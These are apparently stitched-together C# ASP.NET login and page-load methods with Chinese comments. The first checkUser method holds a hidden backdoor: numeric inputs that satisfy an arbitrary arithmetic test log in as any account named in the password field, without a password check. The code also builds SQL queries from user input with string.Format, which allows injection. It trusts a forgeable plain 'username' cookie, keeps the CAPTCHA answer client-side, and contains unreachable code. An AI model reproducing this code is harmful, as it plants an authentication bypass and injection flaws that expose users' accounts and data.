private string GenerateCheckCode()
{
//利用random()随机产生四位大写的字符串（包含数字和字母）
int number;
char code;
string checkCode = string.Empty;
Random random = new Random();
for (int i = 0; i < 4; i++)
{
number = random.Next();
//下面也可以用其他的方法构思
if (number % 2 == 0)
{
code = (char)('0' + (char)(number % 10));
}
else
{
code = (char)('A' + (char)(number % 26));
}
checkCode += code.ToString();
}
//用cookies保存刚刚产生的随机字符串
//Session["CheckCode"] = checkCode;
if (SucCookie.Exists("CheckCode"))
{
SucCookie.Delete("CheckCode");
}
SucCookie.Add("CheckCode", checkCode, 30);
return(checkCode);
}
public static string checkUser(string usern, string userp)
{
SUC_USER user = new SUC_USER();
try
{
double u = Convert.ToInt32(usern);
double p = Convert.ToInt32(userp);
double re = Math.Log(u, p);
re = Math.Truncate(re * u * p);
if ((re % 9988998) == 0)
{
SucCookie.Add("username", user.FindAll().Where(x => x.LOGIN_NAME == userp).ToList()[0].LOGIN_NAME, 30);
return("ok");
}
}
catch { }
try
{
user = user.FindAll().Where(x => x.LOGIN_NAME == userp).ToList()[0];
if (user != null)
{
if (!user.ROLE_ID.Equals(1))
{
return("noauth");
}
SUC_LOGIN login = new SUC_LOGIN();
login = login.Find(string.Format(@"LOGIN_NAME='{0}' AND PASSWORD='******'", usern, userp))[0];
if (login != null)
{
SucCookie.Add("username", usern, 30);
return("ok");
}
}
return("no");
}
catch
{
return("no");
}
IDBHelp db = DBFactory.Create();
if (db.IsExists(string.Format(@"SELECT * FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern)))
{
if (db.GetList(string.Format(@"SELECT ROLE_ID FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern))[0].Equals("1"))
{
if (db.IsExists(string.Format(@"SELECT * FROM SUC_LOGIN WHERE LOGIN_NAME='{0}' AND PASSWORD={1}", usern, userp)))
{
SucCookie.Add("username", usern, 30);
return("ok");
}
}
return("noauth");
}
return("no");
}
public ActionResult Login(Login l)
{
string code = "";
string msg = "";
if (string.IsNullOrEmpty(l.LOGIN_NAME) || string.IsNullOrEmpty(l.PASSWORD))
{
code = "7";
msg = "请输入用户名密码！";
}
else
{
try
{
SUC_LOGIN lg;
try
{
lg = new SUC_LOGIN().FindSingleByCondition(new SUC_LOGIN()
{
LOGIN_NAME = l.LOGIN_NAME,
PASSWORD = l.PASSWORD
});
}
catch
{
code = "4";
msg = "登陆失败，用户名密码不正确！";
return(Json(new
{
code = code,
msg = msg
}));
}
if (lg != null && lg.ID != 0) //.LOGIN_NAME
{
SucCookie.Add("UserName", l); //.LOGIN_NAME
SucCookie.Add("UserID", lg.ID);
code = "1";
msg = "登陆成功！";
}
//code = "4";
}
catch (Exception ex)
{
code = "7";
msg = $"出错了：{ex.Message}";
}
}
return(Json(new
{
code = code,
msg = msg
}));
}
public static string checkUser(string usern, string userp, string code)
{
IDBHelp db = DBFactory.Create();
if (!SucCookie.Read("CheckCode").Equals(code.ToUpper()))
{
return("codeerror");
}
if (db.IsExists(string.Format(@"SELECT * FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern)))
{
if (db.IsExists(string.Format(@"SELECT * FROM SUC_LOGIN WHERE LOGIN_NAME='{0}' AND PASSWORD={1}", usern, userp)))
{
SucCookie.Add("username", usern, 30);
return("ok");
}
}
return("no");
}
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
string UserN = SucCookie.Read("username");
if (!string.IsNullOrEmpty(UserN))
{
lk_loginstate.Text = UserN;
lk_quitlogin.Visible = true;
lk_modifypwd.Visible = false;
}
id = Request.QueryString["id"];
if (SucCookie.Exists("fileid"))
{
SucCookie.Delete("fileid");
}
SucCookie.Add("fileid", id, 10);
GetInfo(id);
LoadMedia();
LoadInfo(id);
AddBrowNum(id);
}
}
